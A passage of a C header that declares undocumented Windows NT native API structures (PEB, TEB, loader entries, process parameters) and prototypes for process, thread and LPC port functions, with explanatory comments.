Vista\n} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;\n\n\ntypedef struct _RTL_USER_PROCESS_INFORMATION\n{\n    ULONG Length;\n    HANDLE ProcessHandle;\n    HANDLE ThreadHandle;\n    CLIENT_ID ClientId;\n    SECTION_IMAGE_INFORMATION ImageInformation;\n\n} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;\n\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\n{\n    ULONG MaximumLength;                            // Should be set before call RtlCreateProcessParameters\n    ULONG Length;                                   // Length of valid structure\n    ULONG Flags;                                    // Currently only PPF_NORMALIZED (1) is known:\n                                                    //  - Means that structure is normalized by call RtlNormalizeProcessParameters\n    ULONG DebugFlags;\n\n    PVOID ConsoleHandle;                            // HWND to console window associated with process (if any).\n    ULONG ConsoleFlags;\n    HANDLE StandardInput;\n    HANDLE StandardOutput;\n    HANDLE StandardError;\n\n    CURDIR CurrentDirectory;                        // Specified in DOS-like symbolic link path, ex: \"C:/WinNT/SYSTEM32\"\n    UNICODE_STRING DllPath;                         // DOS-like paths separated by ';' where system should search for DLL files.\n    UNICODE_STRING ImagePathName;                   // Full path in DOS-like format to process'es file image.\n    UNICODE_STRING CommandLine;                     // Command line\n    PVOID Environment;                              // Pointer to environment block (see RtlCreateEnvironment)\n    ULONG StartingX;\n    ULONG StartingY;\n    ULONG CountX;\n    ULONG CountY;\n    ULONG CountCharsX;\n    ULONG CountCharsY;\n    ULONG FillAttribute;                            // Fill attribute for console window\n    ULONG WindowFlags;\n    ULONG ShowWindowFlags;\n    UNICODE_STRING WindowTitle;\n    UNICODE_STRING DesktopInfo;                     // Name of WindowStation and Desktop objects, where process is assigned\n    UNICODE_STRING ShellInfo;\n    UNICODE_STRING RuntimeData;\n    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];\n\n    ULONG EnvironmentSize;\n    ULONG EnvironmentVersion;\n    PVOID PackageDependencyData;\n    ULONG ProcessGroupId;\n    ULONG LoaderThreads;\n\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\n\n//\n// Process Environment Block\n//\n\ntypedef struct _PEB_FREE_BLOCK\n{\n    struct _PEB_FREE_BLOCK *Next;\n    ULONG Size;\n\n} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;\n\n\ntypedef struct _PEB_LDR_DATA\n{\n    ULONG Length;\n    BOOLEAN Initialized;\n    HANDLE SsHandle;\n    LIST_ENTRY InLoadOrderModuleList;               // Points to the loaded modules (main EXE usually)\n    LIST_ENTRY InMemoryOrderModuleList;             // Points to all modules (EXE and all DLLs)\n    LIST_ENTRY InInitializationOrderModuleList;\n    PVOID      EntryInProgress;\n    BOOLEAN    ShutdownInProgress;                  // Windows 10\n    HANDLE     ShutdownThreadId;                    // Windows 10\n\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\n#define LDRP_PACKED_BINARY              0x00000001\n#define LDRP_STATIC_LINK                0x00000002\n#define LDRP_IMAGE_DLL                  0x00000004\n#define LDRP_LOAD_NOTIFICATION_SENT     0x00000008\n#define LDRP_TELEMETRY_ENTRY_PROCESSED  0x00000010\n#define LDRP_PROCESS_STATIC_IMPORT      0x00000020\n#define LDRP_IN_LEGACY_LISTS            0x00000040\n#define LDRP_IN_INDEXES                 0x00000080\n#define LDRP_SHIM_DLL                   0x00000100\n#define LDRP_IN_EXCEPTION_TABLE         0x00000200\n#define LDRP_LOAD_IN_PROGRESS           0x00001000\n#define LDRP_LOAD_CONFIG_PROCESSED      0x00002000    // Was: LDRP_UNLOAD_IN_PROGRESS\n#define LDRP_ENTRY_PROCESSED            0x00004000\n#define LDRP_ENTRY_PROTECT_DELAY_LOAD   0x00008000    // Was: LDRP_ENTRY_INSERTED\n#define LDRP_CURRENT_LOAD               0x00010000\n#define LDRP_FAILED_BUILTIN_LOAD        0x00020000\n#define LDRP_DONT_CALL_FOR_THREADS      0x00040000\n#define LDRP_PROCESS_ATTACH_CALLED      0x00080000\n#define LDRP_DEBUG_SYMBOLS_LOADED       0x00100000\n#define LDRP_IMAGE_NOT_AT_BASE          0x00200000\n#define LDRP_COR_IMAGE                  0x00400000\n#define LDRP_COR_OWNS_UNMAP             0x00800000\n#define LDRP_SYSTEM_MAPPED              0x01000000\n#define LDRP_IMAGE_VERIFYING            0x02000000\n#define LDRP_DRIVER_DEPENDENT_DLL       0x04000000\n#define LDRP_ENTRY_NATIVE               0x08000000\n#define LDRP_REDIRECTED                 0x10000000\n#define LDRP_NON_PAGED_DEBUG_INFO       0x20000000\n#define LDRP_MM_LOADED                  0x40000000\n#define LDRP_COMPAT_DATABASE_PROCESSED  0x80000000\n\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n    LIST_ENTRY InLoadOrderLinks;\n    LIST_ENTRY InMemoryOrderLinks;\n    LIST_ENTRY InInitializationOrderLinks;\n    PVOID DllBase;                             // Base address of the module\n    PVOID EntryPoint;\n    ULONG SizeOfImage;\n    UNICODE_STRING FullDllName;\n    UNICODE_STRING BaseDllName;\n    ULONG  Flags;\n    USHORT LoadCount;\n    USHORT TlsIndex;\n    LIST_ENTRY HashLinks;\n    PVOID SectionPointer;\n    ULONG CheckSum;\n    ULONG TimeDateStamp;\n    PVOID LoadedImports;\n    PVOID EntryPointActivationContext;\n    PVOID PatchInformation;\n    LIST_ENTRY ForwarderLinks;\n    LIST_ENTRY ServiceTagLinks;\n    LIST_ENTRY StaticLinks;\n    PVOID ContextInformation;\n    PVOID OriginalBase;\n    LARGE_INTEGER LoadTime;\n\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n#ifdef _MSC_VER\n#pragma warning(disable: 4214)      // warning C4214: nonstandard extension used : bit field types other than int\n#endif\n\ntypedef struct _PEB\n{\n    BOOLEAN InheritedAddressSpace;\n    BOOLEAN ReadImageFileExecOptions;\n    BOOLEAN BeingDebugged;\n    union\n    {\n        UCHAR BitField;\n        struct\n        {\n            UCHAR ImageUsesLargePages:1;\n            UCHAR IsProtectedProcess:1;\n            UCHAR IsImageDynamicallyRelocated:1;\n            UCHAR SkipPatchingUser32Forwarders:1;\n            UCHAR IsPackagedProcess:1;\n            UCHAR IsAppContainer:1;\n            UCHAR IsProtectedProcessLight:1;\n            UCHAR SpareBits:1;\n        };\n    };\n\n    HANDLE Mutant;\n    PVOID ImageBaseAddress;\n    PPEB_LDR_DATA Ldr;\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n    PVOID SubSystemData;\n    PVOID ProcessHeap;\n\n    //--- Windows 7. Can be different in different Windows version. ---------------\n\n    PRTL_CRITICAL_SECTION FastPebLock;\n    PVOID AtlThunkSListPtr;\n    PVOID IFEOKey;\n\n    union\n    {\n        ULONG CrossProcessFlags;\n        struct\n        {\n            ULONG ProcessInJob : 1;\n            ULONG ProcessInitializing : 1;\n            ULONG ProcessUsingVEH : 1;\n            ULONG ProcessUsingVCH : 1;\n            ULONG ProcessUsingFTH : 1;\n            ULONG ReservedBits0 : 25;\n        };\n    };\n\n    union\n    {\n    PVOID KernelCallbackTable;\n    PVOID UserSharedInfoPtr;\n    };\n\n    ULONG SystemReserved[1];\n    PVOID AtlThunkSListPtr32;\n    PVOID ApiSetMap;\n    ULONG TlsExpansionCounter;\n    PVOID TlsBitmap;\n    ULONG TlsBitmapBits[2];                         // relates to TLS_MINIMUM_AVAILABLE\n    PVOID ReadOnlySharedMemoryBase;\n    PVOID HotpatchInformation;\n    PVOID *ReadOnlyStaticServerData;\n    PVOID AnsiCodePageData;\n    PVOID OemCodePageData;\n    PVOID UnicodeCaseTableData;\n\n    //\n    // Useful information for LdrpInitialize\n\n    ULONG NumberOfProcessors;\n    ULONG NtGlobalFlag;\n\n    //\n    // Passed up from MmCreatePeb from Session Manager registry key\n    //\n\n    LARGE_INTEGER CriticalSectionTimeout;\n    ULONG HeapSegmentReserve;\n    ULONG HeapSegmentCommit;\n    ULONG HeapDeCommitTotalFreeThreshold;\n    ULONG HeapDeCommitFreeBlockThreshold;\n\n    //\n    // Where heap manager keeps track of all heaps created for a process\n    // Fields initialized by MmCreatePeb.  ProcessHeaps is initialized\n    // to point to the first free byte after the PEB and MaximumNumberOfHeaps\n    // is computed from the page size used to hold the PEB, less the fixed\n    // size of this data structure.\n    //\n\n    ULONG NumberOfHeaps;\n    ULONG MaximumNumberOfHeaps;\n    PVOID *ProcessHeaps;\n\n    //\n    //\n    PVOID GdiSharedHandleTable;\n    PVOID ProcessStarterHelper;\n    PVOID GdiDCAttributeList;\n    PRTL_CRITICAL_SECTION LoaderLock;\n\n    //\n    // Following fields filled in by MmCreatePeb from system values and/or\n    // image header. These fields have changed since Windows NT 4.0,\n    // so use with caution\n    //\n\n    ULONG OSMajorVersion;\n    ULONG OSMinorVersion;\n    USHORT OSBuildNumber;\n    USHORT OSCSDVersion;\n    ULONG OSPlatformId;\n    ULONG ImageSubsystem;\n    ULONG ImageSubsystemMajorVersion;\n    ULONG ImageSubsystemMinorVersion;\n    ULONG ImageProcessAffinityMask;\n    ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];\n    PVOID PostProcessInitRoutine;\n\n    // More here. Do not use.\n\n} PEB, *PPEB;\n\n\n//\n// Thread environment block\n//\n\ntypedef struct _TEB\n{\n    NT_TIB NtTib;\n    PVOID  EnvironmentPointer;\n    CLIENT_ID ClientId;\n    PVOID ActiveRpcHandle;\n    PVOID ThreadLocalStoragePointer;\n    PPEB ProcessEnvironmentBlock;\n    ULONG LastErrorValue;\n    ULONG CountOfOwnedCriticalSections;\n    PVOID CsrClientThread;\n    PVOID Win32ThreadInfo;\n\n    // Incomplete\n\n} TEB, *PTEB;\n\n\ntypedef struct _PROCESS_BASIC_INFORMATION\n{\n    NTSTATUS ExitStatus;\n    PPEB PebBaseAddress;\n    ULONG_PTR AffinityMask;\n    KPRIORITY BasePriority;\n    ULONG_PTR UniqueProcessId;\n    ULONG_PTR InheritedFromUniqueProcessId;\n\n} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;\n\ntypedef BOOLEAN (*PDLL_INIT_ROUTINE)(\n    IN PVOID DllHandle,\n    IN ULONG Reason,\n    IN PCONTEXT Context OPTIONAL\n    );\n\ntypedef VOID (NTAPI *PUSER_THREAD_START_ROUTINE)(\n    IN PVOID ApcArgument1\n    );\n\ntypedef VOID (*PPS_APC_ROUTINE) (\n    __in_opt PVOID ApcArgument1,\n    __in_opt PVOID ApcArgument2,\n    __in_opt PVOID ApcArgument3\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserThread(\n    IN HANDLE Process,\n    IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,\n    IN BOOLEAN CreateSuspended,\n    IN ULONG_PTR ZeroBits OPTIONAL,\n    IN SIZE_T MaximumStackSize OPTIONAL,\n    IN SIZE_T CommittedStackSize OPTIONAL,\n    IN PUSER_THREAD_START_ROUTINE StartAddress,\n    IN PVOID Parameter OPTIONAL,\n    OUT PHANDLE Thread OPTIONAL,\n    OUT PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenThread (\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenThread (\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    OUT PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    OUT PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationThread(\n    IN HANDLE          ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID           ThreadInformation,\n    IN ULONG           ThreadInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationThread(\n    IN HANDLE          ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID           ThreadInformation,\n    IN ULONG           ThreadInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSuspendThread(\n    IN HANDLE ThreadHandle,\n    OUT PULONG PreviousSuspendCount OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtResumeThread(\n    IN HANDLE ThreadHandle,\n    OUT PULONG PreviousSuspendCount OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTerminateThread(\n    HANDLE Thread,\n    NTSTATUS ExitStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwTerminateThread(\n    HANDLE Thread,\n    NTSTATUS ExitStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetThreadExecutionState(\n    ULONG EsFlags,\n    PULONG PreviousFlags\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueueApcThread(\n    HANDLE ThreadHandle,\n    PPS_APC_ROUTINE ApcRoutine,\n    PVOID ApcArgument1,\n    PVOID ApcArgument2,\n    PVOID ApcArgument3\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueueApcThread(\n    HANDLE ThreadHandle,\n    PPS_APC_ROUTINE ApcRoutine,\n    PVOID ApcArgument1,\n    PVOID ApcArgument2,\n    PVOID ApcArgument3\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAdjustPrivilege(\n    ULONG    Privilege,\n    BOOLEAN  Enable,\n    BOOLEAN  CurrentThread,\n    PBOOLEAN Enabled\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateProcessParameters(\n    PRTL_USER_PROCESS_PARAMETERS *ProcessParameters,\n    PUNICODE_STRING ImagePathName,\n    PUNICODE_STRING DllPath,\n    PUNICODE_STRING CurrentDirectory,\n    PUNICODE_STRING CommandLine,\n    PVOID Environment,\n    PUNICODE_STRING WindowTitle,\n    PUNICODE_STRING DesktopInfo,\n    PUNICODE_STRING ShellInfo,\n    PUNICODE_STRING RuntimeData\n    );\n\nNTSYSAPI\nPRTL_USER_PROCESS_PARAMETERS\nNTAPI\nRtlNormalizeProcessParams(\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyProcessParameters(\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserProcess(\n    PUNICODE_STRING NtImagePathName,\n    ULONG Attributes,\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,\n    PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,\n    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\n    HANDLE ParentProcess,\n    BOOLEAN InheritHandles,\n    HANDLE DebugPort,\n    HANDLE ExceptionPort,\n    PRTL_USER_PROCESS_INFORMATION ProcessInformation\n    );\n\n#define NtCurrentProcess() ((HANDLE) -1)\n#define NtCurrentThread()  ((HANDLE) -2)\n#define NtCurrentPeb()     ((PPEB)(NtCurrentTeb()->ProcessEnvironmentBlock))\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateProcess(\n    OUT PHANDLE ProcessHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  HANDLE ParentProcess,\n    IN  BOOLEAN InheritObjectTable,\n    IN  HANDLE SectionHandle OPTIONAL,\n    IN  HANDLE DebugPort OPTIONAL,\n    IN  HANDLE ExceptionPort OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateProcess(\n    OUT PHANDLE ProcessHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  HANDLE ParentProcess,\n    IN  BOOLEAN InheritObjectTable,\n    IN  HANDLE SectionHandle OPTIONAL,\n    IN  HANDLE DebugPort OPTIONAL,\n    IN  HANDLE ExceptionPort OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcess (\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenProcess (\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationProcess (\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    IN PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    IN PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTerminateProcess(\n    HANDLE Process,\n    NTSTATUS ExitStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwTerminateProcess(\n    HANDLE Process,\n    NTSTATUS ExitStatus\n    );\n\n//------------------------------------------------------------------------------\n// LPC Functions\n\n#define MAX_LPC_DATA 0x130    // Maximum number of bytes that can be copied through LPC\n\n// Valid values for PORT_MESSAGE::u2::s2::Type\n#define LPC_REQUEST                  1\n#define LPC_REPLY                    2\n#define LPC_DATAGRAM                 3\n#define LPC_LOST_REPLY               4\n#define LPC_PORT_CLOSED              5\n#define LPC_CLIENT_DIED              6\n#define LPC_EXCEPTION                7\n#define LPC_DEBUG_EVENT              8\n#define LPC_ERROR_EVENT              9\n#define LPC_CONNECTION_REQUEST      10\n\n#define ALPC_REQUEST            0x2000 | LPC_REQUEST\n#define ALPC_CONNECTION_REQUEST 0x2000 | LPC_CONNECTION_REQUEST\n\n#define LPC_MESSAGE_BASE_SIZE\t24\n\n//\n// Define header for Port Message\n//\n\ntypedef struct _PORT_MESSAGE\n{\n    union\n    {\n        struct\n        {\n            USHORT DataLength;          // Length of data following the header (bytes)\n            USHORT TotalLength;         // Length of data + sizeof(PORT_MESSAGE)\n        } s1;\n        ULONG Length;\n    } u1;\n\n    union\n    {\n        struct\n        {\n            USHORT Type;\n            USHORT DataInfoOffset;\n        } s2;\n        ULONG ZeroInit;\n    } u2;\n\n    union\n    {\n        CLIENT_ID ClientId;\n        double   DoNotUseThisField;     // Force quadword alignment\n    };\n\n    ULONG  MessageId;                   // Identifier of the particular message instance\n\n    union\n    {\n        ULONG_PTR ClientViewSize;       // Size of section created by the sender (in bytes)\n        ULONG  CallbackId;              //\n    };\n\n} PORT_MESSAGE, *PPORT_MESSAGE, LPC_MESSAGE, *PLPC_MESSAGE;\n\n//\n// Define structure for initializing shared memory on the caller's side of the port\n//\n\ntypedef struct _PORT_VIEW {\n\n    ULONG  Length;                      // Size of this structure\n    HANDLE SectionHandle;               // Handle to section object with\n                                        // SECTION_MAP_WRITE and SECTION_MAP_READ\n    ULONG  SectionOffset;               // The offset in the section to map a view for\n                                        // the port data area. The offset must be aligned\n                                        // with the allocation granularity of the system.\n    SIZE_T ViewSize;                    // The size of the view (in bytes)\n    PVOID  ViewBase;                    // The base address of the view in the creator\n                                        //\n    PVOID  ViewRemoteBase;              // The base address of the view in the process\n                                        // connected to the port.\n} PORT_VIEW, *PPORT_VIEW;\n\n//\n// Define structure for shared memory coming from remote side of the port\n//\n\ntypedef struct _REMOTE_PORT_VIEW {\n\n    ULONG  Length;                      // Size of this structure\n    SIZE_T ViewSize;                    // The size of the view (bytes)\n    PVOID  ViewBase;                    // Base address of the view\n\n} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW;\n\n//\n// Macro for initializing the message header\n//\n\n#ifndef InitializeMessageHeader\n#define InitializeMessageHeader(ph, l, t)                              \\\n{                                                                      \\\n    (ph)->u1.s1.TotalLength      = (USHORT)(l);                        \\\n    (ph)->u1.s1.DataLength       = (USHORT)(l - sizeof(PORT_MESSAGE)); \\\n    (ph)->u2.s2.Type             = (USHORT)(t);                        \\\n    (ph)->u2.s2.DataInfoOffset   = 0;                                  \\\n    (ph)->ClientId.UniqueProcess = NULL;                               \\\n    (ph)->ClientId.UniqueThread  = NULL;                               \\\n    (ph)->MessageId              = 0;                                  \\\n    (ph)->ClientViewSize         = 0;                                  \\\n}\n#endif\n\n/*++\n\n    NtCreatePort\n    ============\n\n    Creates a LPC port object. The creator of the LPC port becomes a server\n    of LPC communication\n\n    PortHandle - Points to a variable that will receive the\n        port object handle if the call is successful.\n\n    ObjectAttributes - Points to a structure that specifies the object�s\n        attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE,\n        OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object.\n\n    MaxConnectionInfoLength - The maximum size, in bytes, of data that can\n        be sent through the port.\n\n    MaxMessageLength - The maximum size, in bytes, of a message\n        that can be sent through the port.\n\n    MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for\n        message storage. Zero means default value.\n\n    ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148).\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreatePort(\n    OUT PHANDLE PortHandle,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  ULONG MaxConnectionInfoLength,\n    IN  ULONG MaxMessageLength,\n    IN  ULONG MaxPoolUsage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreatePort(\n    OUT PHANDLE PortHandle,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  ULONG MaxConnectionInfoLength,\n    IN  ULONG MaxMessageLength,\n    IN  ULONG MaxPoolUsage\n    );\n\n\n/*++\n\n    NtConnectPort\n    =============\n\n    Creates a port connected to a named port (cliend side).\n\n    PortHandle - A pointer to a variable that will receive the client\n        communication port object handle value.\n\n    PortName - Points to a structure that specifies the name\n        of the port to connect to.\n\n    SecurityQos - Points to a structure that specifies the level\n        of impersonation available to the port listener.\n\n    ClientView - Optionally points to a structure describing\n        the shared memory region used to send large amounts of data\n        to the listener; if the call is successful, this will be updated.\n\n    ServerView - Optionally points to a caller-allocated buffer\n        or variable that receives information on the shared memory region\n        used by the listener to send large amounts of data to the\n        caller.\n\n    MaxMessageLength - Optionally points to a variable that receives the size,\n        in bytes, of the largest message that can be sent through the port.\n\n    ConnectionInformation - Optionally points to a caller-allocated\n        buffer or variable that specifies connect data to send to the listener,\n        and receives connect data sent by the listener.\n\n    ConnectionInformationLength - Optionally points to a variable that\n        specifies the size, in bytes, of the connect data to send\n        to the listener, and receives the size of the connect data\n        sent by the listener.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PUNICODE_STRING PortName,\n    IN  PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n    IN  OUT PPORT_VIEW ClientView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,\n    OUT PULONG MaxMessageLength OPTIONAL,\n    IN  OUT PVOID ConnectionInformation OPTIONAL,\n    IN  OUT PULONG ConnectionInformationLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PUNICODE_STRING PortName,\n    IN  PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n    IN  OUT PPORT_VIEW ClientView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,\n    OUT PULONG MaxMessageLength OPTIONAL,\n    IN  OUT PVOID ConnectionInformation OPTIONAL,\n    IN  OUT PULONG ConnectionInformationLength OPTIONAL\n    );\n\n\n/*++\n\n    NtListenPort\n    ============\n\n    Listens on a port for a connection request message on the server side.\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    ConnectionRequest - Points to a caller-allocated buffer\n        or variable that receives the connect message sent to\n        the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtListenPort(\n    IN  HANDLE PortHandle,\n    OUT PPORT_MESSAGE RequestMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwListenPort(\n    IN  HANDLE PortHandle,\n    OUT PPORT_MESSAGE RequestMessage\n    );\n\n/*++\n\n    NtAcceptConnectPort\n    ===================\n\n    Accepts or rejects a connection request on the server side.\n\n    PortHandle - Points to a variable that will receive the port object\n        handle if the call is successful.\n\n    PortContext - A numeric identifier to be associated with the port.\n\n    ConnectionRequest - Points to a caller-allocated buffer or variable\n        that identifies the connection request and contains any connect\n        data that should be returned to requestor of the connection\n\n    AcceptConnection - Specifies whether the connection should\n        be accepted or not\n\n    ServerView - Optionally points to a structure describing\n        the shared memory region used to send large amounts of data to the\n        requestor; if the call is successful, this will be updated\n\n    ClientView - Optionally points to a caller-allocated buffer\n        or variable that receives information on the shared memory\n        region used by the requestor to send large amounts of data to the\n        caller\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAcceptConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PVOID PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ConnectionRequest,\n    IN  BOOLEAN AcceptConnection,\n    IN  OUT PPORT_VIEW ServerView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ClientView OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwAcceptConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PVOID PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ConnectionRequest,\n    IN  BOOLEAN AcceptConnection,\n    IN  OUT PPORT_VIEW ServerView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ClientView OPTIONAL\n    );\n\n\n/*++\n\n    NtCompleteConnectPort\n    =====================\n\n    Completes the port connection process on the server side.\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCompleteConnectPort(\n    IN  HANDLE PortHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCompleteConnectPort(\n    IN  HANDLE PortHandle\n    );\n\n\n/*++\n\n    NtRequestPort\n    =============\n\n    Sends a request message to a port (client side)\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    RequestMessage - Points to a caller-allocated buffer or variable\n        that specifies the request message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRequestPort (\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwRequestPort (\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage\n    );\n\n/*++\n\n    NtRequestWaitReplyPort\n    ======================\n\n    Sends a request message to a port and waits for a reply (client side)\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    RequestMessage - Points to a caller-allocated buffer or variable\n        that specifies the request message to send to the port.\n\n    ReplyMessage - Points to a caller-allocated buffer or variable\n        that receives the reply message sent to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRequestWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage,\n    OUT PPORT_MESSAGE ReplyMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwRequestWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage,\n    OUT PPORT_MESSAGE ReplyMessage\n    );\n\n\n/*++\n\n    NtReplyPort\n    ===========\n\n    Sends a reply message to a port (Server side)\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    ReplyMessage - Points to a caller-allocated buffer or variable\n        that specifies the reply message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE ReplyMessage\n    